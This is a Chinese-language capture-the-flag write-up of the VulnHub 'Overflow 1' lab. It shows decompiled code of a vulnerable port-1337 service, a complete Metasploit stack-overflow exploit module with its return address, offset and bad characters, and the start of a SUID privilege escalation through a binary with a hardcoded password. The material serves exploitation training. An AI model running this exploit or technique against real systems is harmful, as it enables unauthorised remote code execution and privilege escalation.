跟着大佬学习https://blog.werner.wiki/penetrate-overflow/
靶场地址:https://www.vulnhub.com/entry/overflow-1,300/
推荐使用Virtualbox ,如使用其它-网络可能会有问题。
只开发80,1337端口,网页提示 不需要目录爆破,下载文件
32位 elf 可执行文件
各项安全属性都未开启/
执行文件测试一下 。绑定本地1337端口,目标服务也开设此端口也就是目前分析的程序。
直接上IDA 静态分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // esi
char *v4; // eax
char buf; // [esp+0h] [ebp-44Ch]
socklen_t addr_len; // [esp+400h] [ebp-4Ch]
struct sockaddr addr; // [esp+404h] [ebp-48h]
__int16 s; // [esp+414h] [ebp-38h]
uint16_t v9; // [esp+416h] [ebp-36h]
in_addr_t v10; // [esp+418h] [ebp-34h]
__pid_t v11; // [esp+424h] [ebp-28h]
int v12; // [esp+428h] [ebp-24h]
int v13; // [esp+42Ch] [ebp-20h]
int fd; // [esp+430h] [ebp-1Ch]
int *v15; // [esp+440h] [ebp-Ch]
v15 = &argc;
fd = socket(2, 1, 0);
if ( fd < 0 )
{
puts("[-]Error in connection.");
exit(1);
}
puts("[+]Server Socket is created.");
memset(&s, 0, 0x10u);
s = 2;
v9 = htons(0x539u);
v10 = inet_addr("0.0.0.0");
v13 = bind(fd, (const struct sockaddr *)&s, 0x10u);
if ( v13 < 0 )
{
puts("[-]Error in binding.");
exit(1);
}
printf("[+]Bind to port %d\n", 1337);
if ( listen(fd, 10) )
puts("[-]Error in binding.");
else
puts("[+]Listening....");
while ( 1 )
{
v12 = accept(fd, &addr, &addr_len);
if ( v12 < 0 )
break;
v3 = ntohs(*(uint16_t *)addr.sa_data);
v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
printf("Connection accepted from %s:%d\n", v4, v3);
v11 = fork();
if ( !v11 )
{
write(v12, "COMMAND : ", 0xAu);
recv(v12, &buf, 0x400u, 0);
if ( !strncmp("OVERFLOW ", &buf, 9u) )
{
handleCommand(&buf);
write(v12, "COMMAND DONE\n", 0xDu);
}
else
{
write(v12, "TRY HARDER!\n", 0xCu);
}
}
}
exit(1);
}
整体代码逻辑简单,就是些socker编程,其中在连接后 会fork。比对前9字节是不是"OVERFLOW",之后进入handleCommand
char *__cdecl handleCommand(char *src)
{
char dest; // [esp+0h] [ebp-28h]
return strcpy(&dest, src);
}
strcpy 很明显会造成栈溢出。
静态分析完毕,上动态调试。
使用了Kali内edb进行调试
编写exp
使用漏洞 JMP ESP 技术
使用metasploit 编写exp
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Vulnserver Buffer Overflow', #模块名称
'Description' => %q{
This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
},
'License' => BSD_LICENSE,
'References' =>
[
['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
],
'Platform' => %w{ linux },
'Targets' =>
[
[
'Vulnserver',
{
'Platform' => 'linux',
'Ret' => 0x0804929a, #返回地址
'Offset' => 44 - 9 #偏移
}
],
],
'Payload' =>
{
'BadChars' => 'x0ax0dx00xff' #shellcode规则
},
'DefaultTarget' => 0))
# Configure the default port to be 9080
register_options(
[
Opt::RPORT(1337),
])
end
def exploit
print_status("Connecting to target for exploitation.")
connect
print_good("Connection established successfully.")
recv_buf = sock.get_once
print_status("Received data: #{recv_buf}")
buf = make_nops(target['Offset'])
# OVERFLOW 9 + buf->NOP +JMP ESP .pack('V') 按照DWORD逆序
#buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + payload.encoded
print_status("Sending exploit packet.")
sock.put(buf)
handler
disconnect
end
end
测试反弹shell
放入exploit中,别忘记reload_all
查看当前获取的shell 权限,user权限,suid 提权查找。
下载printauthlog 到本地测试查看,常规套路 。要输入密码
开启了NX
int __cdecl main(int argc, const char **argv, const char **envp)
{
char command[4]; // [esp+0h] [ebp-7Ch]
char v5; // [esp+1Ch] [ebp-60h]
int *v6; // [esp+6Ch] [ebp-10h]
v6 = &argc;
strcpy(command, "/bin/cat /var/log/auth.log");
memset(&v5, 0, 0x48u);
if ( argc == 2 )
{
if ( checkPassword((char *)argv[1]) )
puts("Wrong password");
else
shell(command);
}
else
{
printf("Usage: %s password\n", *argv);
}
return 0;
}
int __cdecl shell(char *command)
{
return system(command);
}
int __cdecl checkPassword(char *src)
{
char s1[4]; // [esp+Fh] [ebp-49h]
char dest; // [esp+18h] [ebp-40h]
strcpy(s1, "deadbeef");
strcpy(&dest, src);
return strncmp(s1, &dest, 9u);
}
看到密码 ,shell 执行上面字符串命令